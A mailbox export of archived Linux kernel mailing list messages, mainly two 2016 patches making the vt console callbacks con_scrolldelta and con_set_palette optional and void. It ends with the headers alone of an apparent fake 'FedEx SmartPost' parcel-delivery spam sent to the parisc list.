	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-fbdev@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: gregkh@linuxfoundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 23 13:42:36 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bG31m-0000pd-Vs
	for glk-linux-kernel-3@plane.gmane.org; Thu, 23 Jun 2016 13:42:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752500AbcFWLmV (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 23 Jun 2016 07:42:21 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:46781 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751652AbcFWLen (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 23 Jun 2016 07:34:43 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id BB671ACBD;
	Thu, 23 Jun 2016 11:34:40 +0000 (UTC)
X-Mailer: git-send-email 2.9.0
In-Reply-To: <20160623113437.28416-1-jslaby@suse.cz>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2251767 gmane.linux.serial:23369 gmane.linux.usb.general:144202 gmane.linux.ports.parisc:26915
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2251767>

* allow NULL consw->con_scrolldelta (some consoles define an empty
  hook)
* => remove empty hooks now
* return value of consw->con_scrolldelta is never checked => make the
  function void
* document consw->con_scrolldelta a bit

Signed-off-by: Jiri Slaby <jslaby@suse.cz>
Cc: Thomas Winischhofer <thomas@winischhofer.net>
Cc: linux-usb@vger.kernel.org
Cc: Jean-Christophe Plagniol-Villard <plagnioj@jcrosoft.com>
Cc: Tomi Valkeinen <tomi.valkeinen@ti.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-fbdev@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
---
 drivers/tty/vt/vt.c                     |  2 +-
 drivers/usb/misc/sisusbvga/sisusb_con.c | 11 +++--------
 drivers/video/console/dummycon.c        |  1 -
 drivers/video/console/fbcon.c           | 16 +++++++---------
 drivers/video/console/mdacon.c          |  6 ------
 drivers/video/console/newport_con.c     |  7 -------
 drivers/video/console/sticon.c          |  6 ------
 drivers/video/console/vgacon.c          | 13 +++++--------
 include/linux/console.h                 |  8 +++++++-
 9 files changed, 23 insertions(+), 47 deletions(-)

diff --git a/drivers/tty/vt/vt.c b/drivers/tty/vt/vt.c
index abc79ae19079..365a91d01a0e 100644
--- a/drivers/tty/vt/vt.c
+++ b/drivers/tty/vt/vt.c
@@ -2468,7 +2468,7 @@ static void console_callback(struct work_struct *ignored)
 	if (scrollback_delta) {
 		struct vc_data *vc = vc_cons[fg_console].d;
 		clear_selection();
-		if (vc->vc_mode == KD_TEXT)
+		if (vc->vc_mode == KD_TEXT && vc->vc_sw->con_scrolldelta)
 			vc->vc_sw->con_scrolldelta(vc, scrollback_delta);
 		scrollback_delta = 0;
 	}
diff --git a/drivers/usb/misc/sisusbvga/sisusb_con.c b/drivers/usb/misc/sisusbvga/sisusb_con.c
index 0ebbf49cd649..a8244ebeb7a7 100644
--- a/drivers/usb/misc/sisusbvga/sisusb_con.c
+++ b/drivers/usb/misc/sisusbvga/sisusb_con.c
@@ -717,24 +717,22 @@ sisusbcon_blank(struct vc_data *c, int blank, int mode_switch)
 }
 
 /* interface routine */
-static int
+static void
 sisusbcon_scrolldelta(struct vc_data *c, int lines)
 {
 	struct sisusb_usb_data *sisusb;
 	int margin = c->vc_size_row * 4;
 	int ul, we, p, st;
 
-	/* The return value does not seem to be used */
-
 	sisusb = sisusb_get_sisusb_lock_and_check(c->vc_num);
 	if (!sisusb)
-		return 0;
+		return;
 
 	/* sisusb->lock is down */
 
 	if (sisusb_is_inactive(c, sisusb)) {
 		mutex_unlock(&sisusb->lock);
-		return 0;
+		return;
 	}
 
 	if (!lines)		/* Turn scrollback off */
@@ -774,8 +772,6 @@ sisusbcon_scrolldelta(struct vc_data *c, int lines)
 	sisusbcon_set_start_address(sisusb, c);
 
 	mutex_unlock(&sisusb->lock);
-
-	return 1;
 }
 
 /* Interface routine */
@@ -1433,7 +1429,6 @@ static const struct consw sisusb_dummy_con = {
 	.con_font_default =	SISUSBCONDUMMY,
 	.con_font_copy =	SISUSBCONDUMMY,
 	.con_set_palette =	SISUSBCONDUMMY,
-	.con_scrolldelta =	SISUSBCONDUMMY,
 };
 
 int
diff --git a/drivers/video/console/dummycon.c b/drivers/video/console/dummycon.c
index 0efc52f11ad0..9ce03b9aba88 100644
--- a/drivers/video/console/dummycon.c
+++ b/drivers/video/console/dummycon.c
@@ -72,6 +72,5 @@ const struct consw dummy_con = {
     .con_font_default =	DUMMY,
     .con_font_copy =	DUMMY,
     .con_set_palette =	DUMMY,
-    .con_scrolldelta =	DUMMY,
 };
 EXPORT_SYMBOL_GPL(dummy_con);
diff --git a/drivers/video/console/fbcon.c b/drivers/video/console/fbcon.c
index afd3301ac40c..eadc7bf62eb3 100644
--- a/drivers/video/console/fbcon.c
+++ b/drivers/video/console/fbcon.c
@@ -171,7 +171,6 @@ static void fbcon_bmove(struct vc_data *vc, int sy, int sx, int dy, int dx,
 static int fbcon_switch(struct vc_data *vc);
 static int fbcon_blank(struct vc_data *vc, int blank, int mode_switch);
 static int fbcon_set_palette(struct vc_data *vc, const unsigned char *table);
-static int fbcon_scrolldelta(struct vc_data *vc, int lines);
 
 /*
  *  Internal routines
@@ -2765,7 +2764,7 @@ static void fbcon_invert_region(struct vc_data *vc, u16 * p, int cnt)
 	}
 }
 
-static int fbcon_scrolldelta(struct vc_data *vc, int lines)
+static void fbcon_scrolldelta(struct vc_data *vc, int lines)
 {
 	struct fb_info *info = registered_fb[con2fb_map[fg_console]];
 	struct fbcon_ops *ops = info->fbcon_par;
@@ -2774,9 +2773,9 @@ static int fbcon_scrolldelta(struct vc_data *vc, int lines)
 
 	if (softback_top) {
 		if (vc->vc_num != fg_console)
-			return 0;
+			return;
 		if (vc->vc_mode != KD_TEXT || !lines)
-			return 0;
+			return;
 		if (logo_shown >= 0) {
 			struct vc_data *conp2 = vc_cons[logo_shown].d;
 
@@ -2809,11 +2808,11 @@ static int fbcon_scrolldelta(struct vc_data *vc, int lines)
 		fbcon_cursor(vc, CM_ERASE | CM_SOFTBACK);
 		fbcon_redraw_softback(vc, disp, lines);
 		fbcon_cursor(vc, CM_DRAW | CM_SOFTBACK);
-		return 0;
+		return;
 	}
 
 	if (!scrollback_phys_max)
-		return -ENOSYS;
+		return;
 
 	scrollback_old = scrollback_current;
 	scrollback_current -= lines;
@@ -2822,10 +2821,10 @@ static int fbcon_scrolldelta(struct vc_data *vc, int lines)
 	else if (scrollback_current > scrollback_max)
 		scrollback_current = scrollback_max;
 	if (scrollback_current == scrollback_old)
-		return 0;
+		return;
 
 	if (fbcon_is_inactive(vc, info))
-		return 0;
+		return;
 
 	fbcon_cursor(vc, CM_ERASE);
 
@@ -2852,7 +2851,6 @@ static int fbcon_scrolldelta(struct vc_data *vc, int lines)
 
 	if (!scrollback_current)
 		fbcon_cursor(vc, CM_DRAW);
-	return 0;
 }
 
 static int fbcon_set_origin(struct vc_data *vc)
diff --git a/drivers/video/console/mdacon.c b/drivers/video/console/mdacon.c
index 8edc062536a8..234af26b4829 100644
--- a/drivers/video/console/mdacon.c
+++ b/drivers/video/console/mdacon.c
@@ -505,11 +505,6 @@ static int mdacon_blank(struct vc_data *c, int blank, int mode_switch)
 	}
 }
 
-static int mdacon_scrolldelta(struct vc_data *c, int lines)
-{
-	return 0;
-}
-
 static void mdacon_cursor(struct vc_data *c, int mode)
 {
 	if (mode == CM_ERASE) {
@@ -578,7 +573,6 @@ static const struct consw mda_con = {
 	.con_switch =		mdacon_switch,
 	.con_blank =		mdacon_blank,
 	.con_set_palette =	mdacon_set_palette,
-	.con_scrolldelta =	mdacon_scrolldelta,
 	.con_build_attr =	mdacon_build_attr,
 	.con_invert_region =	mdacon_invert_region,
 };
diff --git a/drivers/video/console/newport_con.c b/drivers/video/console/newport_con.c
index 0553dfe684ef..eb3d4ce12cd5 100644
--- a/drivers/video/console/newport_con.c
+++ b/drivers/video/console/newport_con.c
@@ -579,12 +579,6 @@ static int newport_set_palette(struct vc_data *vc, const unsigned char *table)
 	return -EINVAL;
 }
 
-static int newport_scrolldelta(struct vc_data *vc, int lines)
-{
-	/* there is (nearly) no off-screen memory, so we can't scroll back */
-	return 0;
-}
-
 static int newport_scroll(struct vc_data *vc, int t, int b, int dir,
 			  int lines)
 {
@@ -735,7 +729,6 @@ const struct consw newport_con = {
 	.con_font_set	  = newport_font_set,
 	.con_font_default = newport_font_default,
 	.con_set_palette  = newport_set_palette,
-	.con_scrolldelta  = newport_scrolldelta,
 	.con_set_origin	  = DUMMY,
 	.con_save_screen  = DUMMY
 };
diff --git a/drivers/video/console/sticon.c b/drivers/video/console/sticon.c
index e440c2d9fe7c..20f6a2f5d4a7 100644
--- a/drivers/video/console/sticon.c
+++ b/drivers/video/console/sticon.c
@@ -256,11 +256,6 @@ static int sticon_blank(struct vc_data *c, int blank, int mode_switch)
     return 1;
 }
 
-static int sticon_scrolldelta(struct vc_data *conp, int lines)
-{
-    return 0;
-}
-
 static u16 *sticon_screen_pos(struct vc_data *conp, int offset)
 {
     int line;
@@ -359,7 +354,6 @@ static const struct consw sti_con = {
 	.con_switch		= sticon_switch,
 	.con_blank		= sticon_blank,
 	.con_set_palette	= sticon_set_palette,
-	.con_scrolldelta	= sticon_scrolldelta,
 	.con_set_origin		= sticon_set_origin,
 	.con_save_screen	= sticon_save_screen, 
 	.con_build_attr		= sticon_build_attr,
diff --git a/drivers/video/console/vgacon.c b/drivers/video/console/vgacon.c
index 8bf911002cba..f447d6916991 100644
--- a/drivers/video/console/vgacon.c
+++ b/drivers/video/console/vgacon.c
@@ -80,7 +80,7 @@ static void vgacon_deinit(struct vc_data *c);
 static void vgacon_cursor(struct vc_data *c, int mode);
 static int vgacon_switch(struct vc_data *c);
 static int vgacon_blank(struct vc_data *c, int blank, int mode_switch);
-static int vgacon_scrolldelta(struct vc_data *c, int lines);
+static void vgacon_scrolldelta(struct vc_data *c, int lines);
 static int vgacon_set_origin(struct vc_data *c);
 static void vgacon_save_screen(struct vc_data *c);
 static int vgacon_scroll(struct vc_data *c, int t, int b, int dir,
@@ -248,18 +248,18 @@ static void vgacon_restore_screen(struct vc_data *c)
 	}
 }
 
-static int vgacon_scrolldelta(struct vc_data *c, int lines)
+static void vgacon_scrolldelta(struct vc_data *c, int lines)
 {
 	int start, end, count, soff;
 
 	if (!lines) {
 		c->vc_visible_origin = c->vc_origin;
 		vga_set_mem_top(c);
-		return 1;
+		return;
 	}
 
 	if (!vgacon_scrollback)
-		return 1;
+		return;
 
 	if (!vgacon_scrollback_save) {
 		vgacon_cursor(c, CM_ERASE);
@@ -320,8 +320,6 @@ static int vgacon_scrolldelta(struct vc_data *c, int lines)
 			scr_memcpyw(d, s, diff * c->vc_size_row);
 	} else
 		vgacon_cursor(c, CM_MOVE);
-
-	return 1;
 }
 #else
 #define vgacon_scrollback_startup(...) do { } while (0)
@@ -334,7 +332,7 @@ static void vgacon_restore_screen(struct vc_data *c)
 		vgacon_scrolldelta(c, 0);
 }
 
-static int vgacon_scrolldelta(struct vc_data *c, int lines)
+static void vgacon_scrolldelta(struct vc_data *c, int lines)
 {
 	if (!lines)		/* Turn scrollback off */
 		c->vc_visible_origin = c->vc_origin;
@@ -362,7 +360,6 @@ static int vgacon_scrolldelta(struct vc_data *c, int lines)
 		c->vc_visible_origin = vga_vram_base + (p + ul) % we;
 	}
 	vga_set_mem_top(c);
-	return 1;
 }
 #endif /* CONFIG_VGACON_SOFT_SCROLLBACK */
 
diff --git a/include/linux/console.h b/include/linux/console.h
index 98c8615dc300..d175de8d7006 100644
--- a/include/linux/console.h
+++ b/include/linux/console.h
@@ -28,6 +28,12 @@ struct tty_struct;
 #define VT100ID "\033[?1;2c"
 #define VT102ID "\033[?6c"
 
+/**
+ * struct consw - callbacks for consoles
+ *
+ * @con_scrolldelta: the contents of the console should be scrolled by @lines.
+ *		     Invoked by user. (optional)
+ */
 struct consw {
 	struct module *owner;
 	const char *(*con_startup)(void);
@@ -48,7 +54,7 @@ struct consw {
 	int     (*con_resize)(struct vc_data *, unsigned int, unsigned int,
 			       unsigned int);
 	int	(*con_set_palette)(struct vc_data *, const unsigned char *);
-	int	(*con_scrolldelta)(struct vc_data *, int);
+	void	(*con_scrolldelta)(struct vc_data *, int lines);
 	int	(*con_set_origin)(struct vc_data *);
 	void	(*con_save_screen)(struct vc_data *);
 	u8	(*con_build_attr)(struct vc_data *, u8, u8, u8, u8, u8, u8);
-- 
2.9.0



From - Thu Nov 08 21:39:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.usb.general,gmane.linux.ports.parisc
Subject: [PATCH 06/16] tty: vt, consw->con_set_palette cleanup
Date: Thu, 23 Jun 2016 13:34:27 +0200
Lines: 267
Approved: news@gmane.org
Message-ID: <20160623113437.28416-6-jslaby@suse.cz>
References: <20160623113437.28416-1-jslaby@suse.cz>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1466682181 5375 80.91.229.3 (23 Jun 2016 11:43:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 Jun 2016 11:43:01 +0000 (UTC)
Cc: linux-serial@vger.kernel.org, linux-kernel@vger.kernel.org,
	Jiri Slaby <jslaby@suse.cz>,
	Thomas Winischhofer <thomas@winischhofer.net>,
	linux-usb@vger.kernel.org,
	Jean-Christophe Plagniol-Villard <plagnioj@jcrosoft.com>,
	Tomi Valkeinen <tomi.valkeinen@ti.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-fbdev@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: gregkh@linuxfoundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 23 13:42:52 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bG323-00018o-DU
	for glk-linux-kernel-3@plane.gmane.org; Thu, 23 Jun 2016 13:42:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932125AbcFWLmU (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 23 Jun 2016 07:42:20 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:46793 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751885AbcFWLen (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 23 Jun 2016 07:34:43 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 7ECCFAC92;
	Thu, 23 Jun 2016 11:34:41 +0000 (UTC)
X-Mailer: git-send-email 2.9.0
In-Reply-To: <20160623113437.28416-1-jslaby@suse.cz>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2251768 gmane.linux.serial:23370 gmane.linux.usb.general:144203 gmane.linux.ports.parisc:26916
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2251768>

* allow NULL consw->con_set_palette (some consoles define an empty
  hook)
* => remove empty hooks now
* return value of consw->con_set_palette is never checked => make the
  function void
* document consw->con_set_palette a bit

Signed-off-by: Jiri Slaby <jslaby@suse.cz>
Cc: Thomas Winischhofer <thomas@winischhofer.net>
Cc: linux-usb@vger.kernel.org
Cc: Jean-Christophe Plagniol-Villard <plagnioj@jcrosoft.com>
Cc: Tomi Valkeinen <tomi.valkeinen@ti.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-fbdev@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
---
 drivers/tty/vt/vt.c                     |  2 +-
 drivers/usb/misc/sisusbvga/sisusb_con.c | 11 ++++-------
 drivers/video/console/dummycon.c        |  1 -
 drivers/video/console/fbcon.c           | 10 +++++-----
 drivers/video/console/mdacon.c          |  6 ------
 drivers/video/console/newport_con.c     |  6 ------
 drivers/video/console/sticon.c          |  6 ------
 drivers/video/console/vgacon.c          |  7 ++-----
 include/linux/console.h                 |  4 +++-
 9 files changed, 15 insertions(+), 38 deletions(-)

diff --git a/drivers/tty/vt/vt.c b/drivers/tty/vt/vt.c
index 365a91d01a0e..d5d906051613 100644
--- a/drivers/tty/vt/vt.c
+++ b/drivers/tty/vt/vt.c
@@ -3978,7 +3978,7 @@ static void set_palette(struct vc_data *vc)
 {
 	WARN_CONSOLE_UNLOCKED();
 
-	if (vc->vc_mode != KD_GRAPHICS)
+	if (vc->vc_mode != KD_GRAPHICS && vc->vc_sw->con_set_palette)
 		vc->vc_sw->con_set_palette(vc, color_table);
 }
 
diff --git a/drivers/usb/misc/sisusbvga/sisusb_con.c b/drivers/usb/misc/sisusbvga/sisusb_con.c
index a8244ebeb7a7..4112835f4aed 100644
--- a/drivers/usb/misc/sisusbvga/sisusb_con.c
+++ b/drivers/usb/misc/sisusbvga/sisusb_con.c
@@ -595,7 +595,7 @@ sisusbcon_save_screen(struct vc_data *c)
 }
 
 /* interface routine */
-static int
+static void
 sisusbcon_set_palette(struct vc_data *c, const unsigned char *table)
 {
 	struct sisusb_usb_data *sisusb;
@@ -604,17 +604,17 @@ sisusbcon_set_palette(struct vc_data *c, const unsigned char *table)
 	/* Return value not used by vt */
 
 	if (!CON_IS_VISIBLE(c))
-		return -EINVAL;
+		return;
 
 	sisusb = sisusb_get_sisusb_lock_and_check(c->vc_num);
 	if (!sisusb)
-		return -EINVAL;
+		return;
 
 	/* sisusb->lock is down */
 
 	if (sisusb_is_inactive(c, sisusb)) {
 		mutex_unlock(&sisusb->lock);
-		return -EINVAL;
+		return;
 	}
 
 	for (i = j = 0; i < 16; i++) {
@@ -629,8 +629,6 @@ sisusbcon_set_palette(struct vc_data *c, const unsigned char *table)
 	}
 
 	mutex_unlock(&sisusb->lock);
-
-	return 0;
 }
 
 /* interface routine */
@@ -1428,7 +1426,6 @@ static const struct consw sisusb_dummy_con = {
 	.con_font_get =		SISUSBCONDUMMY,
 	.con_font_default =	SISUSBCONDUMMY,
 	.con_font_copy =	SISUSBCONDUMMY,
-	.con_set_palette =	SISUSBCONDUMMY,
 };
 
 int
diff --git a/drivers/video/console/dummycon.c b/drivers/video/console/dummycon.c
index 9ce03b9aba88..0ef544ef5634 100644
--- a/drivers/video/console/dummycon.c
+++ b/drivers/video/console/dummycon.c
@@ -71,6 +71,5 @@ const struct consw dummy_con = {
     .con_font_get =	DUMMY,
     .con_font_default =	DUMMY,
     .con_font_copy =	DUMMY,
-    .con_set_palette =	DUMMY,
 };
 EXPORT_SYMBOL_GPL(dummy_con);
diff --git a/drivers/video/console/fbcon.c b/drivers/video/console/fbcon.c
index eadc7bf62eb3..9359b06377cf 100644
--- a/drivers/video/console/fbcon.c
+++ b/drivers/video/console/fbcon.c
@@ -170,7 +170,7 @@ static void fbcon_bmove(struct vc_data *vc, int sy, int sx, int dy, int dx,
 			int height, int width);
 static int fbcon_switch(struct vc_data *vc);
 static int fbcon_blank(struct vc_data *vc, int blank, int mode_switch);
-static int fbcon_set_palette(struct vc_data *vc, const unsigned char *table);
+static void fbcon_set_palette(struct vc_data *vc, const unsigned char *table);
 
 /*
  *  Internal routines
@@ -2651,17 +2651,17 @@ static struct fb_cmap palette_cmap = {
 	0, 16, palette_red, palette_green, palette_blue, NULL
 };
 
-static int fbcon_set_palette(struct vc_data *vc, const unsigned char *table)
+static void fbcon_set_palette(struct vc_data *vc, const unsigned char *table)
 {
 	struct fb_info *info = registered_fb[con2fb_map[vc->vc_num]];
 	int i, j, k, depth;
 	u8 val;
 
 	if (fbcon_is_inactive(vc, info))
-		return -EINVAL;
+		return;
 
 	if (!CON_IS_VISIBLE(vc))
-		return 0;
+		return;
 
 	depth = fb_get_color_depth(&info->var, &info->fix);
 	if (depth > 3) {
@@ -2683,7 +2683,7 @@ static int fbcon_set_palette(struct vc_data *vc, const unsigned char *table)
 	} else
 		fb_copy_cmap(fb_default_cmap(1 << depth), &palette_cmap);
 
-	return fb_set_cmap(&palette_cmap, info);
+	fb_set_cmap(&palette_cmap, info);
 }
 
 static u16 *fbcon_screen_pos(struct vc_data *vc, int offset)
diff --git a/drivers/video/console/mdacon.c b/drivers/video/console/mdacon.c
index 234af26b4829..1fe5245eb6dd 100644
--- a/drivers/video/console/mdacon.c
+++ b/drivers/video/console/mdacon.c
@@ -481,11 +481,6 @@ static int mdacon_switch(struct vc_data *c)
 	return 1;	/* redrawing needed */
 }
 
-static int mdacon_set_palette(struct vc_data *c, const unsigned char *table)
-{
-	return -EINVAL;
-}
-
 static int mdacon_blank(struct vc_data *c, int blank, int mode_switch)
 {
 	if (mda_type == TYPE_MDA) {
@@ -572,7 +567,6 @@ static const struct consw mda_con = {
 	.con_bmove =		mdacon_bmove,
 	.con_switch =		mdacon_switch,
 	.con_blank =		mdacon_blank,
-	.con_set_palette =	mdacon_set_palette,
 	.con_build_attr =	mdacon_build_attr,
 	.con_invert_region =	mdacon_invert_region,
 };
diff --git a/drivers/video/console/newport_con.c b/drivers/video/console/newport_con.c
index eb3d4ce12cd5..a436930f9e5d 100644
--- a/drivers/video/console/newport_con.c
+++ b/drivers/video/console/newport_con.c
@@ -574,11 +574,6 @@ static int newport_font_set(struct vc_data *vc, struct console_font *font, unsig
 	return newport_set_font(vc->vc_num, font);
 }
 
-static int newport_set_palette(struct vc_data *vc, const unsigned char *table)
-{
-	return -EINVAL;
-}
-
 static int newport_scroll(struct vc_data *vc, int t, int b, int dir,
 			  int lines)
 {
@@ -728,7 +723,6 @@ const struct consw newport_con = {
 	.con_blank	  = newport_blank,
 	.con_font_set	  = newport_font_set,
 	.con_font_default = newport_font_default,
-	.con_set_palette  = newport_set_palette,
 	.con_set_origin	  = DUMMY,
 	.con_save_screen  = DUMMY
 };
diff --git a/drivers/video/console/sticon.c b/drivers/video/console/sticon.c
index 20f6a2f5d4a7..fe7c4dbb676e 100644
--- a/drivers/video/console/sticon.c
+++ b/drivers/video/console/sticon.c
@@ -79,11 +79,6 @@ static const char *sticon_startup(void)
     return "STI console";
 }
 
-static int sticon_set_palette(struct vc_data *c, const unsigned char *table)
-{
-    return -EINVAL;
-}
-
 static void sticon_putc(struct vc_data *conp, int c, int ypos, int xpos)
 {
     int redraw_cursor = 0;
@@ -353,7 +348,6 @@ static const struct consw sti_con = {
 	.con_bmove		= sticon_bmove,
 	.con_switch		= sticon_switch,
 	.con_blank		= sticon_blank,
-	.con_set_palette	= sticon_set_palette,
 	.con_set_origin		= sticon_set_origin,
 	.con_save_screen	= sticon_save_screen, 
 	.con_build_attr		= sticon_build_attr,
diff --git a/drivers/video/console/vgacon.c b/drivers/video/console/vgacon.c
index f447d6916991..aaae9bd23900 100644
--- a/drivers/video/console/vgacon.c
+++ b/drivers/video/console/vgacon.c
@@ -856,16 +856,13 @@ static void vga_set_palette(struct vc_data *vc, const unsigned char *table)
 	}
 }
 
-static int vgacon_set_palette(struct vc_data *vc, const unsigned char *table)
+static void vgacon_set_palette(struct vc_data *vc, const unsigned char *table)
 {
 #ifdef CAN_LOAD_PALETTE
 	if (vga_video_type != VIDEO_TYPE_VGAC || vga_palette_blanked
 	    || !CON_IS_VISIBLE(vc))
-		return -EINVAL;
+		return;
 	vga_set_palette(vc, table);
-	return 0;
-#else
-	return -EINVAL;
 #endif
 }
 
diff --git a/include/linux/console.h b/include/linux/console.h
index d175de8d7006..382a527104c4 100644
--- a/include/linux/console.h
+++ b/include/linux/console.h
@@ -31,6 +31,7 @@ struct tty_struct;
 /**
  * struct consw - callbacks for consoles
  *
+ * @con_set_palette: sets the palette of the console to @table (optional)
  * @con_scrolldelta: the contents of the console should be scrolled by @lines.
  *		     Invoked by user. (optional)
  */
@@ -53,7 +54,8 @@ struct consw {
 	int	(*con_font_copy)(struct vc_data *, int);
 	int     (*con_resize)(struct vc_data *, unsigned int, unsigned int,
 			       unsigned int);
-	int	(*con_set_palette)(struct vc_data *, const unsigned char *);
+	void	(*con_set_palette)(struct vc_data *,
+			const unsigned char *table);
 	void	(*con_scrolldelta)(struct vc_data *, int lines);
 	int	(*con_set_origin)(struct vc_data *);
 	void	(*con_save_screen)(struct vc_data *);
-- 
2.9.0



From - Thu Nov 08 21:39:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FedEx SmartPost" <marion.jacobson@cccqss.org>
Newsgroups: gmane.linux.ports.parisc
Subject: PARIS, Courier was unable to deliver the parcel, ID000363223
Date: Wed, 29 Jun 2016 07:55:50 -0400
Lines: 257
Approved: news@gmane.org
Message-ID: <a4b6dbb09acd1b1a6a16590b4e308ec4@cccqss.org>
Reply-To: "FedEx SmartPost" <marion.jacobson@cccqss.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="b1_4f04e8c8a7bf38424fb2d25d2afe1739"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1467202452 8885 80.91.229.3 (29 Jun 2016 12:14:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 Jun 2016 12:14:12 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 29 14:13:56 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bIENP-0003Ir-J2
	for glpp-linux-parisc@plane.gmane.org; Wed, 29 Jun 2016 14:13:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932075AbcF2MMF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Jun 2016 08:12:05 -0400
Original-Received: from s015.panelboxmanager.com ([72.55.186.18]:49239 "EHLO
	s015.panelboxmanager.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751978AbcF2MLd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Jun 2016 08:11:33 -0400
X-Greylist: delayed 939 seconds by postgrey-1.27 at vger.kernel.org; Wed, 29 Jun 2016 08:11:32 EDT
Original-Received: from mailnull by s015.panelboxmanager.com with sa-checked (Exim 4.86_1)
	(envelope-from <cccqsso@s015.panelboxmanager.com>)
	id 1bIE5v-000yS7-D0
	for linux-parisc@vger.kernel.org; Wed, 29 Jun 2016 07:55:51 -0400
Original-Received: from cccqsso by s015.panelboxmanager.com with local (Exim 4.86_1)
	(envelope-from <cccqsso@s015.panelboxmanager.com>)
	id 1bIE5u-000yRa-Qg
	for linux-parisc@vger.kernel.org; Wed, 29 Jun 2016 07:55:50 -0400
X-PHP-Script: www.cccqss.org/post.php for 75.98.175.121
X-Priority: 3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020201.5773B747.01E1,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: marion.jacobson@cccqss.org
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 1
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - s015.panelboxmanager.com
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - s015.panelboxmanager.com
